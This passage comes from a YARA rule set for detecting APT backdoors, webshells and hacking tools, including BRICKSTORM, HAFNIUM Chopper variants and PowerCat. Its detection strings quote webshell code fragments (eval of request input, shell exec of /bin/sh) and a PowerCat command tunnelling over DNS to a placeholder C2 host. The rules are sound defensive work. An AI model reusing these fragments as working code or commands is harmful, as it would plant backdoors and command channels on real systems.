		reference = "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt41.yar#L233-L267"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ee4cbbc5fc51fb24cbf6017dfb4763ac72a0b23a3b6e794b909e678ebfbabc03"
		score = 90
		quality = 85
		tags = "FILE"
		hash1 = "6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167"
		hash2 = "99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28"
	strings:
		$xc1 = { 2F 70 72 69 76 61 74 65 2F 76 61 72 00 68 77 2E
               70 68 79 73 6D 65 6D 00 68 77 2E 75 73 65 72 6D
               65 6D 00 4E 41 2D 4E 41 2D 4E 41 2D 4E 41 2D 4E
               41 2D 4E 41 00 6C 6F 30 00 00 00 00 25 30 32 78
               2D 25 30 32 78 2D 25 30 32 78 2D 25 30 32 78 2D
               25 30 32 78 2D 25 30 32 78 0A 00 72 00 4E 41 00
               75 6E 61 6D 65 20 2D 76 }
		$s1 = "badshell" ascii fullword
		$s2 = "hw.physmem" ascii fullword
		$s3 = "uname -v" ascii fullword
		$s4 = "uname -s" ascii fullword
		$s5 = "machdep.tsc_freq" ascii fullword
		$s6 = "/usr/sbin/config.bak" ascii fullword
		$s7 = "enter MessageLoop..." ascii fullword
		$s8 = "exit StartCBProcess..." ascii fullword
		$sc1 = { 72 6D 20 2D 72 66 20 22 25 73 22 00 2F 70 72 6F
               63 2F }
	condition:
		uint16( 0 ) == 0x457f and filesize < 600KB and 1 of ( $x* ) or 4 of them
}



rule SIGNATURE_BASE_HKTL_Nim_Nimpackt : EXE FILE HKTL
{
	meta:
		description = "Detects binaries generated with NimPackt v1"
		author = "Cas van Cooten"
		id = "3399d937-133f-5701-840e-eaf68b2f1ec9"
		date = "2022-01-26"
		modified = "2023-12-05"
		reference = "https://github.com/chvancooten/NimPackt-v1"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_nimpackt.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2bda7acb440d1c72efeaddcb18b736343d658d59feccf6c9339b313cd35f32eb"
		score = 80
		quality = 79
		tags = "EXE, FILE, HKTL"
	strings:
		$nim1 = "fatal.nim" ascii fullword
		$nim2 = "winim" ascii
		$np1 = { 4E 69 6D 50 61 63 6B 74 }
		$sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 }
		$sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 }
		$sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A }
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 750KB and 1 of ( $nim* ) and ( $np1 or 2 of ( $sus* ) )
}


rule SIGNATURE_BASE_MAL_G_Backdoor_BRICKSTORM_2 : FILE
{
	meta:
		description = "Detects BRICKSTORM backdoor used by APT group UNC5221 (China Nexus)"
		author = "Google Threat Intelligence Group (GTIG) (modified by Florian Roth)"
		id = "3300ff33-a32f-59e4-b4bd-d434345da611"
		date = "2025-09-25"
		modified = "2025-10-07"
		reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_brickstorm_sep25.yar#L19-L51"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "afea32d3c817473ec0dbc20177daa4070f847c23295318fa093fc3a96a15e764"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$decr1 = { 0F B6 4C 04 ?? 0F B6 54 04 ?? 31 D1 88 4C 04 ?? 48 FF C0 [0-4] 48 83 F8 ?? 7C }
		$decr2 = { 40 88 7C 34 34 48 FF C3 48 FF C6 48 39 D6 7D 18 0F B6 3B 48 39 CE 73 63 44 0F B6 04 30 44 31 C7 48 83 FE 04 72 DA }
		$decr3 = { 0F B6 54 0C ?? 0F B6 5C 0C ?? 31 DA 88 14 08 48 FF C1 48 83 F9 ?? 7C E8 }
		$str1 = "main.selfWatcher"
		$str2 = "main.copyFile"
		$str3 = "main.startNew"
		$str4 = "WRITE_LOG=true"
		$str5 = "WRITE_LOGWednesday"
		$str6 = "vami-httpdvideo/webm"
		$str7 = "/opt/vmware/sbin/"
		$str8 = "/home/vsphere-ui/"
		$str9 = "/opt/vmware/sbin/vami-http"
		$str10 = "main.getVFromEnv"
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 10MB and ( 1 of ( $decr* ) and 1 of ( $str* ) or 5 of ( $str* ) )
}

rule SIGNATURE_BASE_MAL_G_APT_Backdoor_BRICKSTORM_1 : FILE
{
	meta:
		description = "Detects BRICKSTORM backdoor used by APT group UNC5221 (China Nexus)"
		author = "Google Threat Intelligence Group (GTIG) (modified by Florian Roth)"
		id = "ecf69598-f0da-5234-940e-059de648ad74"
		date = "2025-09-25"
		modified = "2025-10-07"
		reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_brickstorm_sep25.yar#L53-L78"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "4645f2f6800bc654d5fa812237896b00"
		logic_hash = "ffaeca48c96445044844779f28c46a5c6029ba96191d3faafbc8f3864c29e21b"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$ = "WRITE_LOGWednesday"
		$ = "/home/vsphere-ui/"
		$ = "WRITE_LOG=true"
		$ = "dns rcode: %v"
		$ = "/libs/doh.createDnsMessage"
		$ = "/libs/func1.(*Client).BackgroundRun"
		$ = "/libs/func1.CreateClient"
		$ = "/core/extends/command.CommandNoContext"
		$ = "/core/extends/command.ExecuteCmd"
		$ = "/core/extends/command.RunShell"
		$ = "/libs/fs.(*RemoteDriver).DeleteFile"
		$ = "/libs/fs.(*RemoteDriver).GetFile"
		$ = "/libs/fs.(*RemoteDriver).PutFile"
		$ = "/libs/doh/doh.go"
	condition:
		uint32( 0 ) == 0x464c457f and 5 of them
}

rule SIGNATURE_BASE_WEBSHELL_G_APT_Backdoorwebshell_SLAYSTYLE_1 : FILE
{
	meta:
		description = "Detects webshell used by APT group UNC5221 (China Nexus)"
		author = "Google Threat Intelligence Group (GTIG) (modified by Florian Roth)"
		id = "a5107e4e-3618-5d08-b187-342d5cb1b12f"
		date = "2025-09-25"
		modified = "2025-10-07"
		reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_brickstorm_sep25.yar#L94-L112"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7a56238218e60a69049f5d9c756df4fb6f0de772fbc437a14c5db7192f971be6"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$str1_alt = "=request.getParameter(\""
		$str2 = "=new String(java.util.Base64.getDecoder().decode(" ascii wide nocase
		$str21_alt = "={\"/bin/sh\",\"-c\"," ascii
		$str3 = "= Runtime.getRuntime().exec(" ascii
		$str4 = "java.io.InputStream" ascii
		$str5 = "java.util.Base64.getEncoder().encodeToString(org.apache.commons.io.IOUtils.toByteArray(" ascii
	condition:
		filesize < 5MB and all of them
}

rule SIGNATURE_BASE_WEBSHELL_G_APT_Backdoorwebshell_SLAYSTYLE_2 : FILE
{
	meta:
		description = "Detects webshell used by APT group UNC5221 (China Nexus)"
		author = "Google Threat Intelligence Group (GTIG) (modified by Florian Roth)"
		id = "a7c3e453-c071-5863-887a-6eca6d74d2fe"
		date = "2025-09-25"
		modified = "2025-10-07"
		reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_brickstorm_sep25.yar#L114-L129"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d2d1003f77a2066b48df1c27feab79c0a1951ebb62c3198de8366bcfee42e30a"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$str1 = "request.getParameter"
		$str2 = "/bin/sh"
		$str3 = "java.io.InputStream"
		$str4 = "Runtime.getRuntime().exec("
		$str5 = "2>&1"
	condition:
		( uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464C457F ) and filesize < 7KB and all of them and @str4 > @str2
}

rule SIGNATURE_BASE_MAL_G_Backdoor_BRICKSTEAL_1 : FILE
{
	meta:
		description = "Detects backdoor BRICKSTEAL used by APT group UNC5221 (China Nexus)"
		author = "Google Threat Intelligence Group (GTIG) (modified by Florian Roth)"
		id = "03635d14-35b4-59a4-98ca-e552888d67ed"
		date = "2025-09-25"
		modified = "2025-10-07"
		reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_brickstorm_sep25.yar#L131-L146"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "27413b63eae84d95cf0ca920e9ac1daba200281ecc32cc9922c0e7850c7f0571"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$str1 = "comvmware"
		$str2 = "abcdABCD1234!@#$"
		$str3 = "ads.png"
		$str4 = "User-Agent"
		$str5 = "com/vmware/"
	condition:
		all of them and filesize < 10KB
}

rule SIGNATURE_BASE_TA17_293A_Energetic_Bear_Api_Hashing_Tool : FILE
{
	meta:
		description = "Energetic Bear API Hashing Tool"
		author = "CERT RE Team"
		id = "4e58800a-9618-5d8b-954c-e843be6002c2"
		date = "2026-02-15"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ta17_293A.yar#L77-L93"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5f8a770c727cdd2d32d7cd1ad45ee8b37f7fc63c9e7f4311d318eb15d9050909"
		score = 75
		quality = 85
		tags = "FILE"
		assoc_report = "DHS Report TA17-293A"
	strings:
		$api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
		$api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
		$api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
		$http_push = "X-mode: push" nocase
		$http_pop = "X-mode: pop" nocase
	condition:
		$api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and ( uint16( 0 ) == 0x5a4d or $http_push or $http_pop )
}

rule SIGNATURE_BASE_WEBSHELL_ASP_Embedded_Mar21_1 : FILE
{
	meta:
		description = "Detects ASP webshells"
		author = "Florian Roth (Nextron Systems)"
		id = "7cf7db9d-8f8a-51db-a0e6-84748e8f9e1f"
		date = "2021-03-05"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4a8b4cea6f53dad9771cb694ec55f305f04dfdbd8e663154cad672ca414c138c"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "<script runat=\"server\">" nocase
		$s2 = "new System.IO.StreamWriter(Request.Form["
		$s3 = ".Write(Request.Form["
	condition:
		filesize < 100KB and all of them
}

rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Secchecker_Mar21_1 : FILE
{
	meta:
		description = "Detects HAFNIUM SecChecker webshell"
		author = "Florian Roth (Nextron Systems)"
		id = "73db3d78-7ece-53be-9efb-d19801993d5e"
		date = "2021-03-05"
		modified = "2023-12-05"
		reference = "https://twitter.com/markus_neis/status/1367794681237667840"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L18-L33"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e0e4df860bdde7d5c277f596535c493d926095be6f46f6ba41b6177afbfc5cd9"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0"
	strings:
		$x1 = "<%if(System.IO.File.Exists(\"c:\\\\program files (x86)\\\\fireeye\\\\xagt.exe" ascii
		$x2 = "\\csfalconservice.exe\")){Response.Write( \"3\");}%></head>" ascii fullword
	condition:
		uint16( 0 ) == 0x253c and filesize < 1KB and 1 of them or 2 of them
}

rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Chopper_Webshell : APT HAFNIUM WEBSHELL FILE
{
	meta:
		description = "Detects Chopper WebShell Injection Variant (not only Hafnium related)"
		author = "Markus Neis,Swisscom"
		id = "25dcf166-4aea-5680-b161-c5fc8d74b987"
		date = "2021-03-05"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L50-L65"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c185a8da2a18fa59a8eeb36dbd95ba12c9c61717efc5f2d19d2d5b27ee243f2b"
		score = 75
		quality = 85
		tags = "APT, HAFNIUM, WEBSHELL, FILE"
	strings:
		$x1 = "runat=\"server\">" nocase
		$s1 = "<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request" nocase
		$s2 = "protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter sw = new System.IO.StreamWriter(Request.Form[\"p\"] , false, Encoding.Default);sw.Write(Request.Form[\"f\"]);"
		$s3 = "<script language=\"JScript\" runat=\"server\"> function Page_Load(){eval (Request[\"" nocase
	condition:
		filesize < 10KB and $x1 and 1 of ( $s* )
}

rule SIGNATURE_BASE_APT_WEBSHELL_Tiny_Webshell : APT HAFNIUM WEBSHELL FILE
{
	meta:
		description = "Detects WebShell Injection"
		author = "Markus Neis,Swisscom"
		id = "aa2fcecc-4c8b-570d-a81a-5dfb16c04e05"
		date = "2021-03-05"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L67-L82"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "099c8625c58b315b6c11f5baeb859f4c"
		logic_hash = "9309f9b57353b6fe292048d00794699a8637a3e6e429c562fb36c7e459003a3b"
		score = 75
		quality = 85
		tags = "APT, HAFNIUM, WEBSHELL, FILE"
	strings:
		$x1 = "<%@ Page Language=\"Jscript\" Debug=true%>"
		$s1 = "=Request.Form(\""
		$s2 = "eval("
	condition:
		filesize < 300 and all of ( $s* ) and $x1
}

rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
{
	meta:
		description = "Detects PowerCat hacktool"
		author = "Florian Roth (Nextron Systems)"
		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
		date = "2021-03-02"
		modified = "2023-12-05"
		reference = "https://github.com/besimorhino/powercat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L84-L103"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
	strings:
		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
		$s1 = "Returning Encoded Payload..." ascii
		$s2 = "$CommandToExecute =" ascii fullword
		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
	condition:
		uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Simpleseesharp : WEBSHELL UNCLASSIFIED FILE
{
	meta:
		description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
		author = "threatintel@volexity.com"
		id = "469fdf5c-e09e-5d44-a2e6-0864dcd0e18a"
		date = "2021-03-01"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L121-L136"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
		logic_hash = "6f62249a68bae94e5cbdb4319ea5cde9dc071ec7a4760df3aafe78bc1e072c30"
		score = 75
		quality = 85
		tags = "WEBSHELL, UNCLASSIFIED, FILE"
	strings:
		$header = "<%@ Page Language=\"C#\" %>"
		$body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
	condition:
		$header at 0 and $body and filesize < 1KB
}

rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_3 : FILE
{
	meta:
		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		id = "9c2ba123-63c4-5e9c-a08f-bd9db3304691"
		date = "2021-03-07"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L202-L216"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "391b366d78c2f24dc006a5365ec232a9a3c2fe0ea514b18897701ceeffcc81ca"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "runat=\"server\">void Page_Load(object" ascii wide
		$s2 = "Request.Files[0].SaveAs(Server.MapPath(" ascii wide
	condition:
		filesize < 50KB and all of them
}

rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_4 : FILE
{
	meta:
		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		id = "93f5b682-642d-5edf-84a9-296bf12cd72b"
		date = "2021-03-07"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L218-L233"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "933ab74a0e30e2a728444d491c9eb0ff134db05d905aeb48efe3ba65674a3730"
		score = 85
		quality = 79
		tags = "FILE"
	strings:
		$s1 = "<%@Page Language=\"Jscript\"%>" ascii wide nocase
		$s2 = ".FromBase64String(" ascii wide nocase
		$s3 = "eval(System.Text.Encoding." ascii wide nocase
	condition:
		filesize < 850 and all of them
}

rule SIGNATURE_BASE_APT_HAFNIUM_Forensicartefacts_Cab_Recon_Mar21_1 : FILE
{
	meta:
		description = "Detects suspicious CAB files used by HAFNIUM for recon activity"
		author = "Florian Roth (Nextron Systems)"
		id = "b0caf9d9-af0a-5181-85e4-6091cd6699e3"
		date = "2021-03-11"
		modified = "2023-12-05"
		reference = "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3?u=dstepanic"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L252-L273"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "de3acb2d01ad14d73263af9e62ef7c715cde259e3f2fbbcbbb41d55589c3f0ab"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "ip.txt" ascii fullword
		$s2 = "arp.txt" ascii fullword
		$s3 = "system" ascii fullword
		$s4 = "security" ascii fullword
	condition:
		uint32( 0 ) == 0x4643534d and filesize < 10000KB and ( $s1 in ( 0 .. 200 ) and $s2 in ( 0 .. 200 ) and $s3 in ( 0 .. 200 ) and $s4 in ( 0 .. 200 ) )
}

rule SIGNATURE_BASE_APT_MAL_ASP_DLL_HAFNIUM_Mar21_1 : FILE
{
	meta:
		description = "Detects HAFNIUM compiled ASP.NET DLLs dropped on compromised servers"
		author = "Florian Roth (Nextron Systems)"
		id = "68b8252e-a07d-5507-b556-a4d473f98157"
		date = "2021-03-05"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L297-L325"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a4a3f9c7029e67647823a13079655b24648f5e4a7e238439b7a933b19477c20c"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "097f5f700c000a13b91855beb61a931d34fb0abb738a110368f525e25c5bc738"
		hash2 = "15744e767cbaa9b37ff7bb5c036dda9b653fc54fc9a96fe73fbd639150b3daa3"
		hash3 = "52ae4de2e3f0ef7fe27c699cb60d41129a3acd4a62be60accc85d88c296e1ddb"
		hash4 = "5f0480035ee23a12302c88be10e54bf3adbcf271a4bb1106d4975a28234d3af8"
		hash5 = "6243fd2826c528ee329599153355fd00153dee611ca33ec17effcf00205a6e4e"
		hash6 = "ebf6799bb86f0da2b05e66a0fe5a9b42df6dac848f4b951b2ed7b7a4866f19ef"
	strings:
		$s1 = "Page_Load" ascii fullword
		$sc1 = { 20 00 3A 00 20 00 68 00 74 00 74 00 70 00 3A 00
               2F 00 2F 00 (66|67) 00 2F 00 00 89 A3 0D 00 0A 00 }
		$op1 = { 00 43 00 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f }
		$op2 = { 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f 00 61 00 }
		$op3 = { 01 0e 0e 05 20 01 01 11 79 04 07 01 12 2d 04 07 01 12 31 02 }
		$op4 = { 5e 00 03 00 bc 22 00 00 00 00 01 00 85 03 2b 00 03 00 cc }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of ( $s* ) or all of ( $op* )
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Fileexplorer_Mar21_1 : FILE
{
	meta:
		description = "Detects Chopper like ASPX Webshells"
		author = "Florian Roth (Nextron Systems)"
		id = "edcaa2a8-6fea-584e-90c2-307a2dfc9f7f"
		date = "2021-03-31"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L363-L397"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7b4ffd222b38e76455fff2650b72bdcaff281323103f342b427013cd3fffdc21"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
	strings:
		$x1 = "<span style=\"background-color: #778899; color: #fff; padding: 5px; cursor: pointer\" onclick=" ascii
		$xc1 = { 3C 61 73 70 3A 48 69 64 64 65 6E 46 69 65 6C 64
               20 72 75 6E 61 74 3D 22 73 65 72 76 65 72 22 20
               49 44 3D 22 ?? ?? ?? ?? ?? 22 20 2F 3E 3C 62 72
               20 2F 3E 3C 62 72 20 2F 3E 20 50 72 6F 63 65 73
               73 20 4E 61 6D 65 3A 3C 61 73 70 3A 54 65 78 74
               42 6F 78 20 49 44 3D }
		$xc2 = { 22 3E 43 6F 6D 6D 61 6E 64 3C 2F 6C 61 62 65 6C
               3E 3C 69 6E 70 75 74 20 69 64 3D 22 ?? ?? ?? ??
               ?? 22 20 74 79 70 65 3D 22 72 61 64 69 6F 22 20
               6E 61 6D 65 3D 22 74 61 62 73 22 3E 3C 6C 61 62
               65 6C 20 66 6F 72 3D 22 ?? ?? ?? ?? ?? 22 3E 46
               69 6C 65 20 45 78 70 6C 6F 72 65 72 3C 2F 6C 61
               62 65 6C 3E 3C 25 2D 2D }
		$r1 = "(Request.Form[" ascii
		$s1 = ".Text + \" Created!\";" ascii
		$s2 = "DriveInfo.GetDrives()" ascii
		$s3 = "Encoding.UTF8.GetString(FromBase64String(str.Replace(" ascii
		$s4 = "encodeURIComponent(btoa(String.fromCharCode.apply(null, new Uint8Array(bytes))));;"
	condition:
		uint16( 0 ) == 0x253c and filesize < 100KB and ( 1 of ( $x* ) or 2 of them ) or 4 of them
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Chopper_Like_Mar21_1 : FILE
{
	meta:
		description = "Detects Chopper like ASPX Webshells"
		author = "Florian Roth (Nextron Systems)"
		id = "a4dc1880-865f-5e20-89a2-3a642c453ef9"
		date = "2021-03-31"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium.yar#L399-L416"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "baa9eb1e3c4ac5ce49d27b1c3f75c8b6590567e25d98761a8b704478f2cee970"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "ac44513e5ef93d8cbc17219350682c2246af6d5eb85c1b4302141d94c3b06c90"
	strings:
		$s1 = "http://f/<script language=\"JScript\" runat=\"server\">var _0x" ascii
		$s2 = "));function Page_Load(){var _0x" ascii
		$s3 = ";eval(Request[_0x" ascii
		$s4 = "','orange','unsafe','" ascii
	condition:
		filesize < 3KB and 1 of them or 2 of them
}

rule SIGNATURE_BASE_LOG_F5_BIGIP_Exploitation_Artefacts_CVE_2021_22986_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts indicating successful exploitation of F5 BIG IP appliances as reported by NCCGroup"
		author = "Florian Roth (Nextron Systems)"
		id = "e109ebeb-e5c3-5999-95dc-0963ed8461a6"
		date = "2021-03-20"
		modified = "2023-12-05"
		reference = "https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/exploit_f5_bigip_cve_2021_22986_log.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "748bb429d4a086e2890773558ea502ef06f507aed5f0f70470e2cd97a3fd5007"
		score = 80
		quality = 85
		tags = "LOG"
	strings:
		$x1 = "\",\"method\":\"POST\",\"uri\":\"http://localhost:8100/mgmt/tm/util/bash\",\"status\":200," ascii
		$x2 = "[com.f5.rest.app.RestServerServlet] X-F5-Auth-Token doesn't have value, so skipping" ascii
	condition:
		1 of them
}

rule SIGNATURE_BASE_MSIL_SUSP_OBFUSC_Xorstringsnet : FILE
{
	meta:
		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
		author = "dr4k0nia"
		id = "f0724ca6-4bfe-5b88-9396-a58aa7461fd6"
		date = "2023-03-26"
		modified = "2023-12-05"
		reference = "https://github.com/dr4k0nia/yara-rules"
